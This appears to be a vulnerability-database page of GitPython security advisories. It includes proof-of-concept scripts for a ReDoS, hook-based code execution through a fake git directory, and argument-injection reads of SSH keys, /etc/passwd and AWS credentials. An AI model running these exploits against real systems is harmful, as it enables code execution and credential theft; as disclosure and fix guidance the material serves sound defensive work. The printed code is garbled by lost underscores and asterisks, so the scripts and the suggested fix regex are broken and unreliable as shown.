Where
-Infinity
0

Vendor Risk Score

See how gitpython compares to other vendors in security performance

View Risk Score →
Severity
7.5
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

GitPython before 3.2.0 contains a remote code execution vulnerability that allows attackers to run commands because Git.lsremote forwards URLs without checkunsafeprotocols validation. Attackers can supply ext:: remote-helper URLs to execute commands when git permits the ext transport, while mergebase and IndexFile.move also accept unguarded option injection.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

GitPython's Actor.nameemailregex regular expression (git/util.py, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the author or committer header of a git commit object that contains a long string with an unterminated < (no matching >), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length.

A single crafted commit object can block any GitPython API call that reads .author or .committer for over two minutes per invocation, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories.

---

Details

Vulnerable file and line:

git/util.py, line 863:

python nameemailregex = re.compile(r"(.) <(.?)>")

This regex is evaluated inside Actor.fromstring() (line 909) every time GitPython resolves a commit's .author or .committer property.

Full call chain — from public API to vulnerable sink:

commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit.deserialize() └── git/objects/util.py:341 parseactoranddate(authorline) └── git/util.py:909 Actor.fromstring(string) └── Actor.nameemailregex.search(string) ← VULNERABLE

authorline is decoded directly from the raw bytes of the git commit object with no length limit, character restriction, or timeout applied at any point before reaching the regex engine. The same chain is triggered by: - commit.author - commit.committer - repo.itercommits() - repo.blame() - Any web service / CI tool that displays or processes commit metadata

Why this pattern backtracks catastrophically:

The pattern (.) <(.?)> contains an unbounded greedy group (.) followed by a literal space and <. When the input is a long string that contains < but no closing >, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns.

Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):

| Author field length (bytes) | Time to resolve .author | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | 200,000 | 150.488 s |

Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.

How the malicious object reaches a victim:

The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into .git/objects/. git cat-file -t <sha> confirms it is a valid commit type and git's own read-side tools display it without error. Only git's write-side tooling (git commit --author, git update-index, explicit git fsck) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include:

- A git server with receive.fsckObjects = false (common in self-hosted deployments) - A .git directory shipped as a tarball, backup, or zip archive - A git bundle file - Any automated mirror or import tool that operates at the object level

---

PoC

Environment used for testing: - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04

Script 1 — craft the malicious repository (craftmaliciousrepo.py):

python #!/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated '<'. Bypasses git's write-side sanity checks by writing the raw object directly into .git/objects/.

Usage: python3 craftmaliciousrepo.py <targetdir> <payloadsizebytes> """ import hashlib, os, subprocess, sys, zlib

def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, captureoutput=True, text=True)

def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <targetdir> <payloadsizebytes>") sys.exit(1)

targetdir, payloadsize = sys.argv[1], int(sys.argv[2])

os.makedirs(targetdir, existok=True) run(["git", "init", "--quiet"], cwd=targetdir) run(["git", "config", "user.email", "poc@example.com"], cwd=targetdir) run(["git", "config", "user.name", "PoC"], cwd=targetdir)

with open(os.path.join(targetdir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=targetdir) treesha = run(["git", "write-tree"], cwd=targetdir).stdout.strip()

maliciousname = "A" payloadsize # Key: author field contains a '<' with no closing '>' authorline = f"author {maliciousname} <unterminated 1691999972 -0700" committerline = "committer PoC <poc@example.com> 1691999972 -0700" message = "ReDoS PoC commit"

commitcontent = ( f"tree {treesha}\n{authorline}\n{committerline}\n\n{message}\n" ).encode()

header = f"commit {len(commitcontent)}\x00".encode() store = header + commitcontent sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store)

objdir = os.path.join(targetdir, ".git", "objects", sha[:2]) os.makedirs(objdir, existok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed)

run(["git", "update-ref", "refs/heads/master", sha], cwd=targetdir)

print(f"Malicious commit sha : {sha}") print(f"Payload size : {payloadsize} bytes") verify = subprocess.run( ["git", "cat-file", "-t", sha], cwd=targetdir, captureoutput=True, text=True ) print(f"git cat-file -t confirms: {verify.stdout.strip()}")

if name == "main": main()

Script 2 — trigger the vulnerability (triggerredos.py):

python #!/usr/bin/env python3 """ Opens the repository with GitPython and times commit.author access, which triggers Actor.fromstring() -> Actor.nameemailregex.search().

Usage: python3 triggerredos.py <repodir> <commitsha> """ import sys, time, git

def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <repodir> <commitsha>") sys.exit(1)

repo = git.Repo(sys.argv[1]) commit = repo.commit(sys.argv[2])

print("Accessing commit.author — triggers Actor.fromstring()...") t0 = time.time() author = commit.author # ← this single line causes the hang elapsed = time.time() - t0

print(f"Author name length : {len(author.name)} chars") print(f"Elapsed : {elapsed:.3f} seconds") print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")

if name == "main": main() Execution and observed output:

$ python3 craftmaliciousrepo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit

$ python3 triggerredos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor.fromstring()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE

Docker reproduction (fully isolated environment):

bash docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash

Inside the container: apt-get update && apt-get install -y git git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython pip install -e /work/GitPython

python3 /work/poc/craftmaliciousrepo.py /work/victim-repo 200000 note the SHA printed, then: python3 /work/poc/triggerredos.py /work/victim-repo <SHA>

The python:3.8-bookworm base image matches the one used in GitPython's own fuzzing/local-dev-helpers/Dockerfile.

---

Impact

Who is affected:

Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:

- CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it. - Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata. - Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.

Severity of impact:

A 200 KB author field blocks a process for ~150 seconds per single .author access. When itercommits() or blame are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability.

---

Suggested Fix

Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude < and > from the name group, removing the ambiguity that forces O(n²) backtracking:

python git/util.py, line 863 Before (vulnerable): nameemailregex = re.compile(r"(.) <(.?)>")

After (fixed — identical output for all well-formed input): nameemailregex = re.compile(r"([^<>]) <([^<>])>")

Because the name group can no longer itself contain a < character, the engine has exactly one candidate position to try when a closing > is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never contain < or > in either field, so this change produces identical results for all valid input.

As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Code Injection
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

Repo.init decides which directory is the git directory by testing candidate paths in an order that considers the real .git last. Two earlier tests can be satisfied by ordinary tracked files. Git reserves only the literal name .git, so HEAD, objects/, refs/, config, gitdir, commondir and hooks/ at a repository root are all legal tracked content.

Consequently, after a victim opens or clones an attacker's repository, GitPython resolves gitdir to the working-tree root while real git correctly resolves <root>/.git. Everything GitPython then treats as "inside the git directory" is attacker-authored content — including hooks/, which it executes.

CVE-2026-87817

Affected code (3.1.59)

The discovery loop in git/repo/base.py tests, in order:

1. git/repo/base.py:299 — isfile(curpath/gitdir) and isfile(curpath/commondir) and isfile(curpath/HEAD) 2. git/repo/base.py:320 — isgitdir(curpath) 3. git/repo/base.py:341 — dotgit = osp.join(curpath, ".git") ← the real git dir, considered last

isgitdir (git/repo/fun.py:60) requires only that objects/ and refs/ are directories and that HEAD is a file; HEAD's contents are never parsed. The hook path is resolved from index.repo.gitdir (git/index/fun.py:73), i.e. the mis-resolved directory.

Proof of concept

Requires only pip install GitPython==3.1.59. Full script attached as poc1rce.py; it runs entirely in a temp directory and the payload only writes a marker file.

Attacker repository — four ordinary tracked files at the root:

| path | mode | content | |---|---|---| | gitdir | 100644 | .git\n | | commondir | 100644 | .git\n | | HEAD | 100644 | ref: refs/heads/master\n | | hooks/pre-commit | 100755 | #!/bin/sh + payload |

Victim — two ordinary calls:

python repo = git.Repo.clonefrom(url, dst) # or git.Repo(dst) repo.index.commit("automated commit") # code execution happens here

Observed on the PyPI release 3.1.59 (Linux and Windows):

real git says the git dir is : /tmp/.../victim/.git GitPython says it is : /tmp/.../victim <- shadowed attacker's hook executed : True git fsck : (clean)

The pre-commit hook runs at git/index/base.py:1201, before writetree(), so it fires even though the commit later fails.

Impact

A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool — can be made to:

1. Execute arbitrary commands via the tracked <root>/hooks/pre-commit when the victim calls index.commit(). 2. Read files outside the repository: the tracked <root>/config becomes the repository config and is parsed with mergeincludes=True (git/repo/base.py:765), so [include] path = ~/.aws/credentials discloses the file. (Repo.configreader still defaults mergeincludes=True, so the hardening added in 3.1.59 for .gitmodules/GHSA-7833 does not cover this path.) 3. Write a config file to an attacker-chosen directory via an absolute tracked commondir.

Delivery is silent: git clone exits 0, git fsck (including --strict, and with transfer.fsckObjects/fetch.fsckObjects=true) reports nothing, and the clone passes every read-only probe (head.commit, branches, isdirty(), untrackedfiles, itercommits) because a tracked commondir of .git pins commondir to the real .git.

Threat model / preconditions

- Attacker controls the content of a repository the victim opens or clones with GitPython (public repo, fork PR, mirrored dependency). - For code execution, the victim performs a commit via GitPython's native index.commit(). For the file-read impact, opening the repo and reading config is enough. - GITWORKTREE is not a mitigation — gitdir is assigned and the discovery loop breaks before the environment is consulted. - Real git is unaffected; only GitPython mis-resolves the directory.

Remediation

1. Test curpath/.git before the gitdir/commondir/HEAD triple and before isgitdir(curpath). 2. Resolve hookpath / commithookpath / getvalidatedreflogpath through repo.commondir. 3. Containment-check commondir/gitdir contents before joining (reuse SymbolicReference.getvalidatedpath). 4. Validate HEAD in isgitdir (require ref: refs/... or a 40-hex sha). 5. Pass mergeincludes=False in Repo.configreader (git/repo/base.py:765).

Note for the maintainers

Commit 406b98e1 (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via git rev-parse --git-path, which is immune because git rediscovers the true .git. Commit 9bc287a2 (2026-07-20) reverted it to avoid an unconditional rev-parse dependency — reintroducing the exec step. Measured at each commit with the healthy-looking layout: 406b98e1 → hook did not fire; 9bc287a2 … 3.1.59 → hook fired.

Scope note

Only the repository-root case is reported: where a real .git exists, git prefers it, and GitPython does not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a general ecosystem hazard rather than a GitPython defect.

###POC Files : poc1rce.py poc2fileread.py

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

GitPython 3.1.59 fails to restrict the --no-index option in the high-level diff API, allowing attackers to read arbitrary filesystem paths as repository operands. Attackers can combine --no-index with -I/--ignore-matching-lines to create a content-dependent Boolean oracle, repeatedly querying local files to recover single-line secrets through distinguishable success or error responses.

First published (updated )
Severity
7.1
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f's tag instance).

Root Cause The fix 3af0c251 added unsafegittagoptions = ["--file","-F"] and a guard call, but the guard is Git.checkunsafeoptions(options=Git.optioncandidates([], kwargs), unsafeoptions=...) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any --. A user-influenced reference="--file=<path>" therefore reaches git tag as the exact --file option the fix intended to block, creating an annotated tag whose message is the file's contents.

Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allowunsafeoptions=False.

Proof of Concept python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/idrsa") print(t.tag.message) # contents of the file

Attack Chain 1. Entry: app calls TagReference.create(repo, name, reference=<user>) with reference="--file=/home/app/.ssh/idrsa". 2. Check: Git.checkunsafeoptions(optioncandidates([], kwargs), ["--file","-F"]) @ tag.py:137-141. Guard: denylist includes --file/-F. Bypass proof: optioncandidates receives args=[] → the positional reference is never a candidate (the kwarg spelling file="…" IS blocked; only the positional escapes). 3. Sink: repo.git.tag(args, kwargs) @ tag.py:158 → no --. argv (observed): ['git','tag','-f','vpwn','--file=<secret>']. 4. Impact: annotated tag created; tagref.tag.message == file contents (arbitrary file read).

Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default allowunsafeoptions=False): TagReference.create(repo,'vp','--file=<secret>') → PASSED; tag.message == 'GATESECRETLINEA\nGATESECRETLINEB'. Control: TagReference.create(..., file='<secret>') → UnsafeOptionError: --file is not allowed. Fix-commit read: 3af0c251 adds optioncandidates([], kwargs) (empty args → positional never a candidate).

Affected Versions GitPython <= 3.1.58 (sink present verbatim on the latest release tag; git diff 3.1.57..HEAD touches only test files).

Suggested Fix Include the positional reference (and path) in the option-candidate list passed to checkunsafeoptions, or place a -- separator before the positional arguments in TagReference.create().

--- Reported by zx (Jace) — GitHub: @manus-use

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary Repo.blame() / Repo.blameincremental() guard forwarded revision options against unsafegitrevisionoptions, but that denylist only contains the file-WRITE options --output/-o. git blame also honors --contents <file> and -S <file>, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of --contents=<path> passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame --output WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory).

Root Cause unsafegitrevisionoptions = ["--output","-o"] (git/repo/base.py:188). The rev string is passed to optioncandidates([rev], kwargs) and placed BEFORE the -- separator (base.py:841). The canonical name of --contents=... is contents, which is not on the denylist, so no UnsafeOptionError is raised. The trailing -- protects only the pathspec, not the option before the revision.

Impact Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default allowunsafeoptions=False.

Proof of Concept python result = repo.blame("--contents=/etc/passwd", "a.txt") result rows carry the victim file's line text

Attack Chain 1. Entry: app calls repo.blame(rev, file) with attacker rev="--contents=/etc/passwd" (or kwarg contents="/etc/passwd", or -S). 2. Check: Git.checkunsafeoptions(optioncandidates([rev,...], kwargs), unsafegitrevisionoptions) @ base.py:841. Guard: denylist = ["--output","-o"] only. Bypass proof: canonical name contents ∉ denylist → no error. 3. Sink: self.git.blame(rev, "--", file, p=True, ...). argv (observed): ['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']. 4. Impact: blame result rows carry the victim file's line text.

Bypass Evidence Independently reproduced (independent test harness, default allowunsafeoptions=False): blame('--contents=<secret>','a.txt') → guard PASSED; result rows = ['GATESECRETLINEA','GATESECRETLINEB']. Control: blame('--output=…') still BLOCKED (guard active on this path). -S kwarg argv also reaches git unguarded.

Affected Versions GitPython <= 3.1.58 (denylist present verbatim on the latest release tag).

Suggested Fix Prefer an allowlist of blame options; at minimum add --contents/-S (and any other path-taking blame options) to unsafegitrevisionoptions, and make the membership rule "the option takes a filesystem path" rather than "the option writes output".

--- Reported by zx (Jace) — GitHub: @manus-use

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - Affected component: git/repo/base.py, Repo.unsafegitcloneoptions (class attribute, lines 153-165) and Repo.clone() (lines 1477-1520), reached via the public Repo.clonefrom() (line 1626) and Repo.clone() (line 1567) APIs. - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability Repo.clonefrom(url, topath, kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git.optioncandidates) and checks it against a denylist, Repo.unsafegitcloneoptions, via Git.checkunsafeoptions() — unless the caller passes allowunsafeoptions=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).

git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafegitinitoptions (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo.clone()/clone()/clonefrom() docstring (line 1450-1452) is even more explicit:

:param allowunsafeoptions: Allow unsafe options to be used, such as --template and --separate-git-dir.

i.e. the maintainers' own documentation states that allowunsafeoptions=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafegitcloneoptions does not contain it:

python unsafegitcloneoptions = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ]

So any application that forwards a separategitdir (or separate-git-dir) kwarg into Repo.clonefrom() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allowunsafeoptions=False.

Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafegitinitoptions correctly lists --separate-git-dir; unsafegitcloneoptions, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).

Exploit path 1. Attacker-controlled input reaches a separategitdir=... (or equivalently "separate-git-dir") keyword argument passed into Repo.clonefrom() / Repo.clone() by the host application, with allowunsafeoptions left at its default False. 2. Git.optioncandidates() renders this as --separate-git-dir and Git.checkunsafeoptions() checks it against Repo.unsafegitcloneoptions — no match, no UnsafeOptionError raised. 3. Git.transformkwargs() renders the same kwarg into the real command line as --separate-git-dir=<attacker path> and GitPython executes git clone -v --separate-git-dir=<attacker path> -- <url> <dest> via subprocess (no shell). 4. git itself creates the full repository metadata tree (config, description, HEAD, hooks/, index, objects/, refs/, packed-refs, logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.

Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to. - If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/, refs/, packed-refs, and index there — an integrity violation of a resource outside the intended destination. - Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.

Preconditions - The calling application forwards a caller-influenced value into a separategitdir kwarg of Repo.clonefrom()/Repo.clone() (or into the multioptions list as a raw --separate-git-dir=... token) without itself validating/rejecting it, and does not pass allowunsafeoptions=True intentionally. This is the identical trust model GitPython's own denylist already defends for --template/--upload-pack/--config/--bundle-uri on the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.

Evidence - git/repo/base.py:145-151 — unsafegitinitoptions includes "--separate-git-dir" with the comment "Redirects the repository metadata to a caller-controlled path". - git/repo/base.py:153-165 — unsafegitcloneoptions (the list actually enforced on clone) does not include "--separate-git-dir". - git/repo/base.py:1450-1452 — docstring of clonefrom/clone explicitly documents --separate-git-dir as one of the options allowunsafeoptions is supposed to gate. - git/repo/base.py:1495-1518 — clone() special-cases separategitdir only to Git.polishurl() it (path normalization for URL-like values), then runs it through Git.checkunsafeoptions(options=..., unsafeoptions=cls.unsafegitcloneoptions) — which, per the list above, does not flag it. - PoC (gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the real git clone subprocess unguarded and creates a full git directory outside the destination path, with allowunsafeoptions at its default False.

False-positive check (adversarial re-read) - Is there a value-level check that would still stop this? No — checkunsafeoptions only inspects option names (via canonicalizeoptionname) against the denylist; it performs no filesystem/path validation on separategitdir's value, and no other guard in clone() touches this kwarg besides the Git.polishurl() normalization (which does not reject arbitrary paths). - Is --separate-git-dir perhaps a no-op or safely sandboxed for clone specifically (unlike init)? No — confirmed empirically: the option reaches the real git binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in known-advisories.json (Filter 0): GHSA-9rj7-rf2p-w77r covers --template in Repo.init; GHSA-6p8h-3wgx-97gf covers --template in clone (already fixed, present in unsafegitcloneoptions); GHSA-hmq2-w58f-27jc covers arbitrary repo creation via unvalidated .gitmodules submodule names (a different code path — Submodule, not Repo.clonefrom() kwargs). None reference --separate-git-dir on the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into clonefrom/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template, --upload-pack, --config, --bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.

Remediation Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafegitcloneoptions in git/repo/base.py, matching unsafegitinitoptions. Since Repo.clone() already special-cases separategitdir for Git.polishurl() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.

Confidence High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.

Proof-of-Concept source (gitpython-001-poc.py)

python #!/usr/bin/env python3 """ GITPYTHON-001 PoC: Repo.clonefrom(separategitdir=...) is not in unsafegitcloneoptions, so it reaches git clone unguarded and writes a full git directory (config, hooks/, objects/, refs/, ...) to an attacker-controlled path OUTSIDE the intended destination directory, with allowunsafeoptions left at its default of False.

Run against the GitPython source tree under test, e.g.: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>

Benign: only writes/reads inside the given workdir. No destructive/exfiltrating payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option or the write does not escape the destination directory. """ import os import sys import subprocess

def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc" src = os.path.join(workdir, "src") dest = os.path.join(workdir, "dest") sentineldir = os.path.join(workdir, "OUTSIDESENTINEL") targetgitdir = os.path.join(sentineldir, "redirected.git")

for p in (src, dest, sentineldir): os.makedirs(p, existok=True)

# Minimal benign source repo to clone from. subprocess.run(["git", "init", "-q", "-b", "main", src], check=True) subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True) subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True) with open(os.path.join(src, "file.txt"), "w") as f: f.write("hello\n") subprocess.run(["git", "-C", src, "add", "file.txt"], check=True) subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)

import git # gitpython under test

print("unsafegitcloneoptions =", git.Repo.unsafegitcloneoptions) assert "--separate-git-dir" not in git.Repo.unsafegitcloneoptions, ( "guard now includes --separate-git-dir; PoC no longer applicable, target patched" )

try: repo = git.Repo.clonefrom(src, dest, separategitdir=targetgitdir) except git.exc.UnsafeOptionError as e: print("NOT VULNERABLE: blocked by UnsafeOptionError:", e) sys.exit(1)

wroteoutside = os.path.isdir(os.path.join(targetgitdir, "hooks")) and os.path.isfile( os.path.join(targetgitdir, "config") ) gitlinkpointsoutside = False with open(os.path.join(dest, ".git")) as f: gitlink = f.read().strip() gitlinkpointsoutside = targetgitdir in gitlink

print("repo.gitdir =", repo.gitdir) print("wrote git directory outside dest (sentinel) =", wroteoutside) print("dest/.git gitlink points outside dest =", gitlinkpointsoutside)

if wroteoutside and gitlinkpointsoutside: print("VULNERABLE: git directory created at attacker-controlled path " f"outside the clone destination: {targetgitdir}") sys.exit(0) else: print("NOT VULNERABLE: sentinel not observed") sys.exit(1)

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
Code Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

- CWE: CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - Affected component: git/config.py — GitConfigParser.read() (multi-line value decoding, lines 444-541, esp. stringdecode() at line 460 and its call sites at 519/541) and GitConfigParser.write()/writesection() (serialization, lines ~694-712, esp. line 708) - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)

Reachability GitPython added UNSAFECONFIGCHARSRE / valuetostringsafe() / assureconfignamesafe() guards (commits c417af46, 1ed1b924, a495ccd3, and PR #2176) to reject a Python string containing a raw \r/\n/NUL byte, or syntax-bearing characters, when it is passed as an argument to set(), setvalue(), addvalue(), or addsection(). This closed the four config-injection GHSAs above.

That guard is applied only on the write-argument surface. It is never consulted for values that entered GitConfigParser.sections via read() — i.e. values that came from parsing an on-disk config file. And read() legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and stringdecode() (.decode('unicodeescape')) decodes a literal two-character \n escape sequence inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real git itself uses and accepts.

The bug is in what happens when that GitConfigParser is later flushed: writesection() (line ~694) calls the unsafe self.valuetostring(v) — not valuetostringsafe() — and "handles" any embedded newline in the value with .replace("\n", "\n\t") (line 708), emitting a bare, unquoted <real newline><tab> in the output file with no re-quoting and no backslash-continuation marker. Real git does not treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the previous line ends in a literal \ immediately before the newline. So the moment writesection() re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an independent, new config line the next time anyone (GitPython or real git) parses the file. If an attacker chooses the dormant value's content to be <anything>\nhooksPath = <attacker path>, that second line is parsed as a brand-new core.hooksPath = <attacker path> directive — live, real Git configuration, not a value.

core.hooksPath is honored by essentially every hook-firing git operation (commit, checkout, merge, push, rebase, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.

Root cause GitConfigParser's injection guard is asymmetric: it hardens every write-argument entry point (the fix for the four sibling GHSAs) but never hardens the read → corrupt-on-rewrite round trip. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (writesection() using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The c417af46 commit message even states its intent explicitly: "This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values" — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.

